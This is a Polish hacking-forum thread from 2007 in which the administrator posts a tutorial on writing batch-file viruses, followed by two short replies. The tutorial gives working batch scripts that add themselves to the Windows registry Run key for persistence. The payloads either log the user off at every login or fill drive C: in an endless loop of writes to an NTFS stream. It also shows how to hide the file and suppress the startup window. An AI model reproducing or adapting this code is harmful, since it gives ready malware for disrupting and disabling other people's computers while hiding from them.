Forum wszystko o hackingu i nie tylko Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
wirus bat

 
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » różne Zobacz poprzedni temat
Zobacz następny temat
wirus bat
Autor Wiadomość
haker512
Administrator
Administrator



Dołączył: 07 Lut 2007
Posty: 58
Przeczytał: 0 tematów

Ostrzeżeń: 0/5
Skąd: Kłodawa

Post wirus bat
1. Wstępniak

Określenia
bat - plik wsadowy
run - klucz rejestru (-> punkt 2)

2. Autostart wirusa

Omówie tu tylko jeden ze sposobów, mianowicie rejestr.
Są dwa klucze, z którymi startują programy po zalogowaniu:

- [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

- [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]




3. Jak sam bat może dodawać sie do rejestru???

Oto źródło:

--------------------------------------
@echo off
echo REGEDIT4>>reg.reg
echo. >>reg.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>reg.reg
echo "wirek"="hideex.exe plik.bat">>reg.reg
regedit /s reg.reg
del reg.reg
--------------------------------------

Omówienie:
- tworzy plik reg.reg
- dodaje go do rejestry
- usuwa plik reg.reg


4. Co może nasz wirus???

Bawiąc sie batami zrobiłem 2 wirki:

1. po zalogowaniu wylogowywuje usera

--------------------------------------
@echo off
echo REGEDIT4>>reg.reg
echo. >>reg.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>reg.reg
echo ""="logoff.exe">>reg.reg
regedit /s reg.reg
del reg.reg
--------------------------------------

Omówienie:
- dodaje do run plik logoff.exe


2. zapełnia dysk c:

--------------------------------------
@echo off
echo REGEDIT4>>reg.reg
echo. >>reg.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>reg.reg
echo ""="%0">>reg.reg
regedit /s reg.reg
del reg.reg
cd c:
:go
type boot.ini>> boot.ini:str1
goto :go
--------------------------------------

Omówienie:
- dodaje sie do rejestru
- zapisuje plik boot.ini do strumienia, czyli partyca musi być w NTFSie:(
ale zamiast "type boot.ini>> boot.ini:str1" możemy "type boot.ini>> wirek.cus"


5. Ukrywanie bata


Ukrycie pliku na dysku

--------------------------------------
attrib +H +S %0
--------------------------------------


"Ukryty" start programu

Dodając wpis do rejestru musimy pamiętać, że jak wida zrestartujemy to po zalogowaniu
mignie okienko. Lepiej będzie jak damy jeszcze taki programek jak hideex.
Wtedy wpis w rejestrze (wyeksportowany) będzie wyglądał tak:

"wirek"="hideex.exe plik.bat"

przy założeniu, że bedą uruchamiane z c:\windows\system32.
Ja wole zamiast "wirek" zostawić "" bo wtedy w rejestrze bedzie to
zapisane jako "(Domyślna)".

6. Podsumowanie

Batwirusy mają duże możliwości i działanie wirusa zależy tylko i wyłącznie od zamiarów autora


Post został pochwalony 0 razy
Pią 22:47, 09 Lut 2007 Zobacz profil autora
Iwan158
Gość







Post
zapomnialeś dopisać, że to nie twój artykuł... napisał go 'rust rabbit'
Sob 13:39, 08 Mar 2008
Zozew
Lamer
Lamer



Dołączył: 26 Lut 2010
Posty: 2
Przeczytał: 0 tematów

Ostrzeżeń: 0/5


Post bat
mam wlasnie virusa bat.agent143 , batch virus, jak się go pozbyć?delete nic nie daje, tylko windows nie chcial mi sie uruchomić, :/ może on jakieś szkody wyrządzić??


Post został pochwalony 0 razy
Pią 15:54, 26 Lut 2010 Zobacz profil autora
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » różne Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Możesz pisać nowe tematy
Możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin